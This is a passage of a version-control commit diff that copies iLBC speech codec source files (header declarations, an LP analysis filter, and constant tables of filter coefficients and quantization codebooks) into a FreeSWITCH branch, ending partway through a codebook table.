+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: StateSearchW.h,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+#ifndef __iLBC_STATESEARCHW_H
+#define __iLBC_STATESEARCHW_H
+
+void AbsQuantW(ilbc_encode_state_t *iLBCenc_inst,   /* (i) Encoder instance */
+               float *in,                           /* (i) vector to encode */
+               float *syntDenum,                    /* (i) denominator of synthesis filter */
+               float *weightDenum,                  /* (i) denominator of weighting filter */
+               int *out,                            /* (o) vector of quantizer indexes */
+               int len,                             /* (i) length of vector to encode and
+                                                           vector of quantizer indexes */
+               int state_first);                    /* (i) position of start state in the 80 vec */
+
+void StateSearchW(ilbc_encode_state_t *iLBCenc_inst,    /* (i) Encoder instance */
+                  float *residual,                      /* (i) target residual vector */
+                  float *syntDenum,                     /* (i) lpc synthesis filter */
+                  float *weightDenum,                   /* (i) weighting filter denuminator */
+                  int *idxForMax,                       /* (o) quantizer index for maximum
+                                                               amplitude */
+                  int *idxVec,                          /* (o) vector of quantization indexes */
+                  int len,                              /* (i) length of all vectors */
+                  int state_first);                     /* (i) position of start state in the 80 vec */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/anaFilter.c

Copied: freeswitch/branches/seven/libs/ilbc/src/anaFilter.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/anaFilter.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/anaFilter.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/anaFilter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * anaFilter.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: anaFilter.c,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <string.h>
+
+#include "anaFilter.h"
+#include "ilbc.h"
+
+/*----------------------------------------------------------------*
+ *  LP analysis filter.
+ *---------------------------------------------------------------*/
+void anaFilter(float *In,   /* (i) Signal to be filtered */
+               float *a,    /* (i) LP parameters */
+               int len,     /* (i) Length of signal */
+               float *Out,  /* (o) Filtered signal */
+               float *mem)  /* (i/o) Filter state */
+{
+    int i;
+    int j;
+    float *po;
+    float *pi;
+    float *pm;
+    float *pa;
+
+    po = Out;
+    /* Filter first part using memory from past */
+    for (i = 0;  i < ILBC_LPC_FILTERORDER;  i++)
+    {
+        pi = &In[i];
+        pm = &mem[ILBC_LPC_FILTERORDER - 1];
+        pa = a;
+        *po = 0.0;
+
+        for (j = 0;  j <= i;  j++)
+            *po += (*pa++)*(*pi--);
+        for (j = i + 1;  j < ILBC_LPC_FILTERORDER + 1;  j++)
+            *po += (*pa++)*(*pm--);
+        po++;
+    }
+    /* Filter last part where the state is entirely
+       in the input vector */
+    for (i = ILBC_LPC_FILTERORDER;  i < len;  i++)
+    {
+        pi = &In[i];
+        pa = a;
+        *po = 0.0;
+        for (j = 0;  j < ILBC_LPC_FILTERORDER + 1;  j++)
+            *po += (*pa++)*(*pi--);
+        po++;
+    }
+    /* Update state vector */
+    memcpy(mem, &In[len - ILBC_LPC_FILTERORDER], ILBC_LPC_FILTERORDER*sizeof(float));
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/anaFilter.h

Copied: freeswitch/branches/seven/libs/ilbc/src/anaFilter.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/anaFilter.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/anaFilter.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/anaFilter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * anaFilter.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: anaFilter.h,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+#ifndef __iLBC_ANAFILTER_H
+#define __iLBC_ANAFILTER_H
+
+void anaFilter(float *In,   /* (i) Signal to be filtered */
+               float *a,    /* (i) LP parameters */
+               int len,     /* (i) Length of signal */
+               float *Out,  /* (o) Filtered signal */
+               float *mem); /* (i/o) Filter state */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/constants.c

Copied: freeswitch/branches/seven/libs/ilbc/src/constants.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/constants.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/constants.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/constants.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,770 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * constant.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: constants.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+
+#include "ilbc.h"
+#include "constants.h"
+
+/* ULP bit allocation */
+
+/* 20 ms frame */
+const ilbc_ulp_inst_t ULP_20msTbl =
+{
+    /* LSF */
+    {
+        {6, 0, 0, 0, 0}, {7, 0, 0, 0, 0}, {7, 0, 0, 0, 0},
+        {0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}
+    },
+    /* Start state location, gain and samples */
+    {2, 0, 0, 0, 0},
+    {1, 0, 0, 0, 0},
+    {6, 0, 0, 0, 0},
+    {0, 1, 2, 0, 0},
+    /* extra CB index and extra CB gain */
+    {{6, 0, 1, 0, 0}, {0, 0, 7, 0, 0}, {0, 0, 7, 0, 0}},
+    {{2, 0, 3, 0, 0}, {1, 1, 2, 0, 0}, {0, 0, 3, 0, 0}},
+    /* CB index and CB gain */
+    {
+        {{7, 0, 1, 0, 0}, {0, 0, 7, 0, 0}, {0, 0, 7, 0, 0}},
+        {{0, 0, 8, 0, 0}, {0, 0, 8, 0, 0}, {0, 0, 8, 0, 0}},
+        {{0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}},
+        {{0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}}
+    },
+    {
+        {{1, 2, 2, 0, 0}, {1, 1, 2, 0, 0}, {0, 0, 3, 0, 0}},
+        {{1, 1, 3, 0, 0}, {0, 2, 2, 0, 0}, {0, 0, 3, 0, 0}},
+        {{0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}},
+        {{0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}, {0, 0, 0, 0, 0}}
+    }
+};
+
+/* 30 ms frame */
+const ilbc_ulp_inst_t ULP_30msTbl =
+{
+    /* LSF */
+    {
+        {6, 0, 0, 0, 0}, {7, 0, 0, 0, 0}, {7, 0, 0, 0, 0},
+        {6, 0, 0, 0, 0}, {7, 0, 0, 0, 0}, {7, 0, 0, 0, 0}
+    },
+    /* Start state location, gain and samples */
+    {3, 0, 0, 0, 0},
+    {1, 0, 0, 0, 0},
+    {6, 0, 0, 0, 0},
+    {0, 1, 2, 0, 0},
+    /* extra CB index and extra CB gain */
+    {{4, 2, 1, 0, 0}, {0, 0, 7, 0, 0}, {0, 0, 7, 0, 0}},
+    {{1, 1, 3, 0, 0}, {1, 1, 2, 0, 0}, {0, 0, 3, 0, 0}},
+    /* CB index and CB gain */
+    {
+        {{6, 1, 1, 0, 0}, {0, 0, 7, 0, 0}, {0, 0,7, 0, 0}},
+        {{0, 7, 1, 0, 0}, {0, 0, 8, 0, 0}, {0, 0,8, 0, 0}},
+        {{0, 7, 1, 0, 0}, {0, 0, 8, 0, 0}, {0, 0,8, 0, 0}},
+        {{0, 7, 1, 0, 0}, {0, 0, 8, 0, 0}, {0, 0,8, 0, 0}}
+    },
+    {
+        {{1, 2, 2, 0, 0}, {1, 2, 1, 0, 0}, {0, 0, 3, 0, 0}},
+        {{0, 2, 3, 0, 0}, {0, 2, 2, 0, 0}, {0, 0, 3, 0, 0}},
+        {{0, 1, 4, 0, 0}, {0, 1, 3, 0, 0}, {0, 0, 3, 0, 0}},
+        {{0, 1, 4, 0, 0}, {0, 1, 3, 0, 0}, {0, 0, 3, 0, 0}}
+    }
+};
+
+/* HP Filters */
+
+const float hpi_zero_coefsTbl[3] =
+{
+    0.92727436f, -1.8544941f, 0.92727436f
+};
+
+const float hpi_pole_coefsTbl[3] =
+{
+    1.0f, -1.9059465f, 0.9114024f
+};
+
+const float hpo_zero_coefsTbl[3] =
+{
+    0.93980581f, -1.8795834f, 0.93980581f
+};
+
+const float hpo_pole_coefsTbl[3] =
+{
+    1.0f, -1.9330735f, 0.93589199f
+};
+
+/* LP Filter */
+
+const float lpFilt_coefsTbl[FILTERORDER_DS] =
+{
+    -0.066650f,  0.125000f, 0.316650f,
+     0.414063f,  0.316650f,
+     0.125000f, -0.066650f
+};
+
+/* State quantization tables */
+
+const float state_sq3Tbl[8] =
+{
+    -3.719849f, -2.177490f, -1.130005f,
+    -0.309692f,  0.444214f,  1.329712f,
+     2.436279f,  3.983887f
+};
+
+const float state_frgqTbl[64] =
+{
+    1.000085f, 1.071695f, 1.140395f,
+    1.206868f, 1.277188f, 1.351503f,
+    1.429380f, 1.500727f, 1.569049f,
+    1.639599f, 1.707071f, 1.781531f,
+    1.840799f, 1.901550f, 1.956695f,
+    2.006750f, 2.055474f, 2.102787f,
+    2.142819f, 2.183592f, 2.217962f,
+    2.257177f, 2.295739f, 2.332967f,
+    2.369248f, 2.402792f, 2.435080f,
+    2.468598f, 2.503394f, 2.539284f,
+    2.572944f, 2.605036f, 2.636331f,
+    2.668939f, 2.698780f, 2.729101f,
+    2.759786f, 2.789834f, 2.818679f,
+    2.848074f, 2.877470f, 2.906899f,
+    2.936655f, 2.967804f, 3.000115f,
+    3.033367f, 3.066355f, 3.104231f,
+    3.141499f, 3.183012f, 3.222952f,
+    3.265433f, 3.308441f, 3.350823f,
+    3.395275f, 3.442793f, 3.490801f,
+    3.542514f, 3.604064f, 3.666050f,
+    3.740994f, 3.830749f, 3.938770f,
+    4.101764f
+};
+
+/* CB tables */
+
+const int search_rangeTbl[5][CB_NSTAGES] =
+{
+    {58, 58, 58},
+    {108, 44, 44},
+    {108, 108, 108},
+    {108, 108, 108},
+    {108, 108, 108}
+};
+
+const int stMemLTbl = 85;
+const int memLfTbl[NASUB_MAX] = {147, 147, 147, 147};
+
+/* expansion filter(s) */
+
+const float cbfiltersTbl[CB_FILTERLEN] =
+{
+    -0.034180f, 0.108887f, -0.184326f,
+    0.806152f,  0.713379f, -0.144043f,
+    0.083740f,  -0.033691f
+};
+
+/* Gain Quantization */
+
+const float gain_sq3Tbl[8] =
+{
+    -1.000000f, -0.659973f, -0.330017f,
+     0.000000f,  0.250000f,  0.500000f,
+     0.750000f,  1.00000f
+};
+
+const float gain_sq4Tbl[16] =
+{
+    -1.049988f, -0.900024f, -0.750000f,
+    -0.599976f, -0.450012f, -0.299988f,
+    -0.150024f,  0.000000f,  0.150024f,
+     0.299988f,  0.450012f,  0.599976f,
+     0.750000f,  0.900024f,  1.049988f,
+     1.200012f
+};
+
+const float gain_sq5Tbl[32]=
+{
+    0.037476f, 0.075012f, 0.112488f,
+    0.150024f, 0.187500f, 0.224976f,
+    0.262512f, 0.299988f, 0.337524f,
+    0.375000f, 0.412476f, 0.450012f,
+    0.487488f, 0.525024f, 0.562500f,
+    0.599976f, 0.637512f, 0.674988f,
+    0.712524f, 0.750000f, 0.787476f,
+    0.825012f, 0.862488f, 0.900024f,
+    0.937500f, 0.974976f, 1.012512f,
+    1.049988f, 1.087524f, 1.125000f,
+    1.162476f, 1.200012f
+};
+
+/* Enhancer - Upsamling a factor 4 (ENH_UPS0 = 4) */
+const float polyphaserTbl[ENH_UPS0*(2*ENH_FL0+1)] =
+{
+     0.000000f,  0.000000f,  0.000000f,
+     1.000000f,
+     0.000000f,  0.000000f,  0.000000f,
+     0.015625f, -0.076904f,  0.288330f,
+     0.862061f, 
+    -0.106445f,  0.018799f, -0.015625f,
+     0.023682f, -0.124268f,  0.601563f,
+     0.601563f,
+    -0.124268f,  0.023682f, -0.023682f,
+     0.018799f, -0.106445f,  0.862061f,
+     0.288330f,
+    -0.076904f,  0.015625f, -0.018799f
+};
+
+const float enh_plocsTbl[ENH_NBLOCKS_TOT] =
+{
+    40.0f, 120.0f,
+    200.0f, 280.0f, 360.0f,
+    440.0f, 520.0f, 600.0f
+};
+
+/* LPC analysis and quantization */
+
+const int dim_lsfCbTbl[LSF_NSPLIT] = {3, 3, 4};
+const int size_lsfCbTbl[LSF_NSPLIT] = {64, 128, 128};
+
+const float lsfmeanTbl[ILBC_LPC_FILTERORDER] =
+{
+    0.281738f, 0.445801f, 0.663330f,
+    0.962524f, 1.251831f, 1.533081f,
+    1.850586f, 2.137817f, 2.481445f,
+    2.777344f
+};
+
+const float lsf_weightTbl_30ms[6] =
+{
+    1.0f/2.0f, 1.0f,
+    2.0f/3.0f,
+    1.0f/3.0f, 0.0f, 0.0f
+};
+
+const float lsf_weightTbl_20ms[4] =
+{
+    3.0f/4.0f, 2.0f/4.0f,
+    1.0f/4.0f, 0.0f
+};
+
+/* Hanning LPC window */
+const float lpc_winTbl[ILBC_BLOCK_LEN_MAX] =
+{
+    0.000183f, 0.000671f, 0.001526f,
+    0.002716f, 0.004242f, 0.006104f,
+    0.008301f, 0.010834f, 0.013702f,
+    0.016907f, 0.020416f, 0.024261f,
+    0.028442f, 0.032928f, 0.037750f,
+    0.042877f, 0.048309f, 0.054047f,
+    0.060089f, 0.066437f, 0.073090f,
+    0.080017f, 0.087219f, 0.094727f,
+    0.102509f, 0.110535f, 0.118835f,
+    0.127411f, 0.136230f, 0.145294f,
+    0.154602f, 0.164154f, 0.173920f,
+    0.183899f, 0.194122f, 0.204529f,
+    0.215149f, 0.225952f, 0.236938f,
+    0.248108f, 0.259460f, 0.270966f,
+    0.282654f, 0.294464f, 0.306396f,
+    0.318481f, 0.330688f, 0.343018f,
+    0.355438f, 0.367981f, 0.380585f,
+    0.393280f, 0.406067f, 0.418884f,
+    0.431763f, 0.444702f, 0.457672f,
+    0.470673f, 0.483704f, 0.496735f,
+    0.509766f, 0.522797f, 0.535828f,
+    0.548798f, 0.561768f, 0.574677f,
+    0.587524f, 0.600342f, 0.613068f,
+    0.625732f, 0.638306f, 0.650787f,
+    0.663147f, 0.675415f, 0.687561f,
+    0.699585f, 0.711487f, 0.723206f,
+    0.734802f, 0.746216f, 0.757477f,
+    0.768585f, 0.779480f, 0.790192f,
+    0.800720f, 0.811005f, 0.821106f,
+    0.830994f, 0.840668f, 0.850067f,
+    0.859253f, 0.868225f, 0.876892f,
+    0.885345f, 0.893524f, 0.901428f,
+    0.909058f, 0.916412f, 0.923492f,
+    0.930267f, 0.936768f, 0.942963f,
+    0.948853f, 0.954437f, 0.959717f,
+    0.964691f, 0.969360f, 0.973694f,
+    0.977692f, 0.981384f, 0.984741f,
+    0.987762f, 0.990479f, 0.992828f,
+    0.994873f, 0.996552f, 0.997925f,
+    0.998932f, 0.999603f, 0.999969f,
+    0.999969f, 0.999603f, 0.998932f,
+    0.997925f, 0.996552f, 0.994873f,
+    0.992828f, 0.990479f, 0.987762f,
+    0.984741f, 0.981384f, 0.977692f,
+    0.973694f, 0.969360f, 0.964691f,
+    0.959717f, 0.954437f, 0.948853f,
+    0.942963f, 0.936768f, 0.930267f,
+    0.923492f, 0.916412f, 0.909058f,
+    0.901428f, 0.893524f, 0.885345f,
+    0.876892f, 0.868225f, 0.859253f,
+    0.850067f, 0.840668f, 0.830994f,
+    0.821106f, 0.811005f, 0.800720f,
+    0.790192f, 0.779480f, 0.768585f,
+    0.757477f, 0.746216f, 0.734802f,
+    0.723206f, 0.711487f, 0.699585f,
+    0.687561f, 0.675415f, 0.663147f,
+    0.650787f, 0.638306f, 0.625732f,
+    0.613068f, 0.600342f, 0.587524f,
+    0.574677f, 0.561768f, 0.548798f,
+    0.535828f, 0.522797f, 0.509766f,
+    0.496735f, 0.483704f, 0.470673f,
+    0.457672f, 0.444702f, 0.431763f,
+    0.418884f, 0.406067f, 0.393280f,
+    0.380585f, 0.367981f, 0.355438f,
+    0.343018f, 0.330688f, 0.318481f,
+    0.306396f, 0.294464f, 0.282654f,
+    0.270966f, 0.259460f, 0.248108f,
+    0.236938f, 0.225952f, 0.215149f,
+    0.204529f, 0.194122f, 0.183899f,
+    0.173920f, 0.164154f, 0.154602f,
+    0.145294f, 0.136230f, 0.127411f,
+    0.118835f, 0.110535f, 0.102509f,
+    0.094727f, 0.087219f, 0.080017f,
+    0.073090f, 0.066437f, 0.060089f,
+    0.054047f, 0.048309f, 0.042877f,
+    0.037750f, 0.032928f, 0.028442f,
+    0.024261f, 0.020416f, 0.016907f,
+    0.013702f, 0.010834f, 0.008301f,
+    0.006104f, 0.004242f, 0.002716f,
+    0.001526f, 0.000671f, 0.000183f
+};
+
+/* Asymmetric LPC window */
+const float lpc_asymwinTbl[ILBC_BLOCK_LEN_MAX] =
+{
+    0.000061f, 0.000214f, 0.000458f,
+    0.000824f, 0.001282f, 0.001831f,
+    0.002472f, 0.003235f, 0.004120f,
+    0.005066f, 0.006134f, 0.007294f,
+    0.008545f, 0.009918f, 0.011383f,
+    0.012939f, 0.014587f, 0.016357f,
+    0.018219f, 0.020172f, 0.022217f,
+    0.024353f, 0.026611f, 0.028961f,
+    0.031372f, 0.033905f, 0.036530f,
+    0.039276f, 0.042084f, 0.044983f,
+    0.047974f, 0.051086f, 0.054260f,
+    0.057526f, 0.060883f, 0.064331f,
+    0.067871f, 0.071503f, 0.075226f,
+    0.079010f, 0.082916f, 0.086884f,
+    0.090942f, 0.095062f, 0.099304f,
+    0.103607f, 0.107971f, 0.112427f,
+    0.116974f, 0.121582f, 0.126282f,
+    0.131073f, 0.135895f, 0.140839f,
+    0.145813f, 0.150879f, 0.156006f,
+    0.161224f, 0.166504f, 0.171844f,
+    0.177246f, 0.182709f, 0.188263f,
+    0.193848f, 0.199524f, 0.205231f,
+    0.211029f, 0.216858f, 0.222778f,
+    0.228729f, 0.234741f, 0.240814f,
+    0.246918f, 0.253082f, 0.259308f,
+    0.265564f, 0.271881f, 0.278259f,
+    0.284668f, 0.291107f, 0.297607f,
+    0.304138f, 0.310730f, 0.317322f,
+    0.323975f, 0.330658f, 0.337372f,
+    0.344147f, 0.350922f, 0.357727f,
+    0.364594f, 0.371460f, 0.378357f,
+    0.385284f, 0.392212f, 0.399170f,
+    0.406158f, 0.413177f, 0.420197f,
+    0.427246f, 0.434296f, 0.441376f,
+    0.448456f, 0.455536f, 0.462646f,
+    0.469757f, 0.476868f, 0.483978f,
+    0.491089f, 0.498230f, 0.505341f,
+    0.512451f, 0.519592f, 0.526703f,
+    0.533813f, 0.540924f, 0.548004f,
+    0.555084f, 0.562164f, 0.569244f,
+    0.576294f, 0.583313f, 0.590332f,
+    0.597321f, 0.604309f, 0.611267f,
+    0.618195f, 0.625092f, 0.631989f,
+    0.638855f, 0.645660f, 0.652466f,
+    0.659241f, 0.665985f, 0.672668f,
+    0.679352f, 0.685974f, 0.692566f,
+    0.699127f, 0.705658f, 0.712128f,
+    0.718536f, 0.724945f, 0.731262f,
+    0.737549f, 0.743805f, 0.750000f,
+    0.756134f, 0.762238f, 0.768280f,
+    0.774261f, 0.780182f, 0.786072f,
+    0.791870f, 0.797638f, 0.803314f,
+    0.808960f, 0.814514f, 0.820038f,
+    0.825470f, 0.830841f, 0.836151f,
+    0.841400f, 0.846558f, 0.851654f,
+    0.856689f, 0.861633f, 0.866516f,
+    0.871338f, 0.876068f, 0.880737f,
+    0.885315f, 0.889801f, 0.894226f,
+    0.898560f, 0.902832f, 0.907013f,
+    0.911102f, 0.915100f, 0.919037f,
+    0.922882f, 0.926636f, 0.930328f,
+    0.933899f, 0.937408f, 0.940796f,
+    0.944122f, 0.947357f, 0.950470f,
+    0.953522f, 0.956482f, 0.959351f,
+    0.962097f, 0.964783f, 0.967377f,
+    0.969849f, 0.972229f, 0.974518f,
+    0.976715f, 0.978821f, 0.980835f,
+    0.982727f, 0.984528f, 0.986237f,
+    0.987854f, 0.989380f, 0.990784f,
+    0.992096f, 0.993317f, 0.994415f,
+    0.995422f, 0.996338f, 0.997162f,
+    0.997864f, 0.998474f, 0.998962f,
+    0.999390f, 0.999695f, 0.999878f,
+    0.999969f, 0.999969f, 0.996918f,
+    0.987701f, 0.972382f, 0.951050f,
+    0.923889f, 0.891022f, 0.852631f,
+    0.809021f, 0.760406f, 0.707092f,
+    0.649445f, 0.587799f, 0.522491f,
+    0.453979f, 0.382690f, 0.309021f,
+    0.233459f, 0.156433f, 0.078461f
+};
+
+/* Lag window for LPC */
+const float lpc_lagwinTbl[ILBC_LPC_FILTERORDER + 1] =
+{
+    1.000100f, 0.998890f, 0.995569f,
+    0.990057f, 0.982392f,
+    0.972623f, 0.960816f, 0.947047f,
+    0.931405f, 0.913989f, 0.894909f
+};
+
+/* LSF quantization*/
+const float lsfCbTbl[64 * 3 + 128 * 3 + 128 * 4] =
+{
+    0.155396f, 0.273193f, 0.451172f,
+    0.390503f, 0.648071f, 1.002075f,
+    0.440186f, 0.692261f, 0.955688f,
+    0.343628f, 0.642334f, 1.071533f,
+    0.318359f, 0.491577f, 0.670532f,
+    0.193115f, 0.375488f, 0.725708f,
+    0.364136f, 0.510376f, 0.658691f,
+    0.297485f, 0.527588f, 0.842529f,
+    0.227173f, 0.365967f, 0.563110f,
+    0.244995f, 0.396729f, 0.636475f,
+    0.169434f, 0.300171f, 0.520264f,
+    0.312866f, 0.464478f, 0.643188f,
+    0.248535f, 0.429932f, 0.626099f,
+    0.236206f, 0.491333f, 0.817139f,
+    0.334961f, 0.625122f, 0.895752f,
+    0.343018f, 0.518555f, 0.698608f,
+    0.372803f, 0.659790f, 0.945435f,
+    0.176880f, 0.316528f, 0.581421f,
+    0.416382f, 0.625977f, 0.805176f,
+    0.303223f, 0.568726f, 0.915039f,
+    0.203613f, 0.351440f, 0.588135f,
+    0.221191f, 0.375000f, 0.614746f,
+    0.199951f, 0.323364f, 0.476074f,
+    0.300781f, 0.433350f, 0.566895f,
+    0.226196f, 0.354004f, 0.507568f,
+    0.300049f, 0.508179f, 0.711670f,
+    0.312012f, 0.492676f, 0.763428f,
+    0.329956f, 0.541016f, 0.795776f,
+    0.373779f, 0.604614f, 0.928833f,
+    0.210571f, 0.452026f, 0.755249f,
+    0.271118f, 0.473267f, 0.662476f,
+    0.285522f, 0.436890f, 0.634399f,
+    0.246704f, 0.565552f, 0.859009f,
+    0.270508f, 0.406250f, 0.553589f,
+    0.361450f, 0.578491f, 0.813843f,
+    0.342651f, 0.482788f, 0.622437f,
+    0.340332f, 0.549438f, 0.743164f,
+    0.200439f, 0.336304f, 0.540894f,
+    0.407837f, 0.644775f, 0.895142f,
+    0.294678f, 0.454834f, 0.699097f,
+    0.193115f, 0.344482f, 0.643188f,
+    0.275757f, 0.420776f, 0.598755f,
+    0.380493f, 0.608643f, 0.861084f,
+    0.222778f, 0.426147f, 0.676514f,
+    0.407471f, 0.700195f, 1.053101f,
+    0.218384f, 0.377197f, 0.669922f,
+    0.313232f, 0.454102f, 0.600952f,
+    0.347412f, 0.571533f, 0.874146f,
+    0.238037f, 0.405396f, 0.729492f,
+    0.223877f, 0.412964f, 0.822021f,
+    0.395264f, 0.582153f, 0.743896f,
+    0.247925f, 0.485596f, 0.720581f,
+    0.229126f, 0.496582f, 0.907715f,
+    0.260132f, 0.566895f, 1.012695f,
+    0.337402f, 0.611572f, 0.978149f,
+    0.267822f, 0.447632f, 0.769287f,
+    0.250610f, 0.381714f, 0.530029f,
+    0.430054f, 0.805054f, 1.221924f,
+    0.382568f, 0.544067f, 0.701660f,
+    0.383545f, 0.710327f, 1.149170f,
+    0.271362f, 0.529053f, 0.775513f,
+    0.246826f, 0.393555f, 0.588623f,
+    0.266846f, 0.422119f, 0.676758f,
+    0.311523f, 0.580688f, 0.838623f,
+    1.331177f, 1.576782f, 1.779541f,
+    1.160034f, 1.401978f, 1.768188f,
+    1.161865f, 1.525146f, 1.715332f,
+    0.759521f, 0.913940f, 1.119873f,
+    0.947144f, 1.121338f, 1.282471f,
+    1.015015f, 1.557007f, 1.804932f,
+    1.172974f, 1.402100f, 1.692627f,
+    1.087524f, 1.474243f, 1.665405f,
+    0.899536f, 1.105225f, 1.406250f,
+    1.148438f, 1.484741f, 1.796265f,
+    0.785645f, 1.209839f, 1.567749f,
+    0.867798f, 1.166504f, 1.450684f,
+    0.922485f, 1.229858f, 1.420898f,
+    0.791260f, 1.123291f, 1.409546f,
+    0.788940f, 0.966064f, 1.340332f,
+    1.051147f, 1.272827f, 1.556641f,
+    0.866821f, 1.181152f, 1.538818f,
+    0.906738f, 1.373535f, 1.607910f,
+    1.244751f, 1.581421f, 1.933838f,
+    0.913940f, 1.337280f, 1.539673f,
+    0.680542f, 0.959229f, 1.662720f,
+    0.887207f, 1.430542f, 1.800781f,
+    0.912598f, 1.433594f, 1.683960f,
+    0.860474f, 1.060303f, 1.455322f,
+    1.005127f, 1.381104f, 1.706909f,
+    0.800781f, 1.363892f, 1.829102f,
+    0.781860f, 1.124390f, 1.505981f,
+    1.003662f, 1.471436f, 1.684692f,
+    0.981323f, 1.309570f, 1.618042f,
+    1.228760f, 1.554321f, 1.756470f,
+    0.734375f, 0.895752f, 1.225586f,
+    0.841797f, 1.055664f, 1.249268f,
+    0.920166f, 1.119385f, 1.486206f,
+    0.894409f, 1.539063f, 1.828979f,
+    1.283691f, 1.543335f, 1.858276f,
+    0.676025f, 0.933105f, 1.490845f,
+    0.821289f, 1.491821f, 1.739868f,
+    0.923218f, 1.144653f, 1.580566f,
+    1.057251f, 1.345581f, 1.635864f,
+    0.888672f, 1.074951f, 1.353149f,
+    0.942749f, 1.195435f, 1.505493f,
+    1.492310f, 1.788086f, 2.039673f,
+    1.070313f, 1.634399f, 1.860962f,
+    1.253296f, 1.488892f, 1.686035f,
+    0.647095f, 0.864014f, 1.401855f,
+    0.866699f, 1.254883f, 1.453369f,
+    1.063965f, 1.532593f, 1.731323f,
+    1.167847f, 1.521484f, 1.884033f,
+    0.956055f, 1.502075f, 1.745605f,
+    0.928711f, 1.288574f, 1.479614f,
+    1.088013f, 1.380737f, 1.570801f,
+    0.905029f, 1.186768f, 1.371948f,
+    1.057861f, 1.421021f, 1.617432f,
+    1.108276f, 1.312500f, 1.501465f,
+    0.979492f, 1.416992f, 1.624268f,
+    1.276001f, 1.661011f, 2.007935f,
+    0.993042f, 1.168579f, 1.331665f,
+    0.778198f, 0.944946f, 1.235962f,
+    1.223755f, 1.491333f, 1.815674f,
+    0.852661f, 1.350464f, 1.722290f,
+    1.134766f, 1.593140f, 1.787354f,
+    1.051392f, 1.339722f, 1.531006f,
+    0.803589f, 1.271240f, 1.652100f,
+    0.755737f, 1.143555f, 1.639404f,
+    0.700928f, 0.837280f, 1.130371f,
+    0.942749f, 1.197876f, 1.669800f,
+    0.993286f, 1.378296f, 1.566528f,
+    0.801025f, 1.095337f, 1.298950f,
+    0.739990f, 1.032959f, 1.383667f,
+    0.845703f, 1.072266f, 1.543823f,
+    0.915649f, 1.072266f, 1.224487f,
+    1.021973f, 1.226196f, 1.481323f,
+    0.999878f, 1.204102f, 1.555908f,
+    0.722290f, 0.913940f, 1.340210f,
+    0.673340f, 0.835938f, 1.259521f,
+    0.832397f, 1.208374f, 1.394165f,
+    0.962158f, 1.576172f, 1.912842f,
+    1.166748f, 1.370850f, 1.556763f,
+    0.946289f, 1.138550f, 1.400391f,
+    1.035034f, 1.218262f, 1.386475f,
+    1.393799f, 1.717773f, 2.000244f,
+    0.972656f, 1.260986f, 1.760620f,
+    1.028198f, 1.288452f, 1.484619f,
+    0.773560f, 1.258057f, 1.756714f,
+    1.080322f, 1.328003f, 1.742676f,
+    0.823975f, 1.450806f, 1.917725f,
+    0.859009f, 1.016602f, 1.191895f,
+    0.843994f, 1.131104f, 1.645020f,
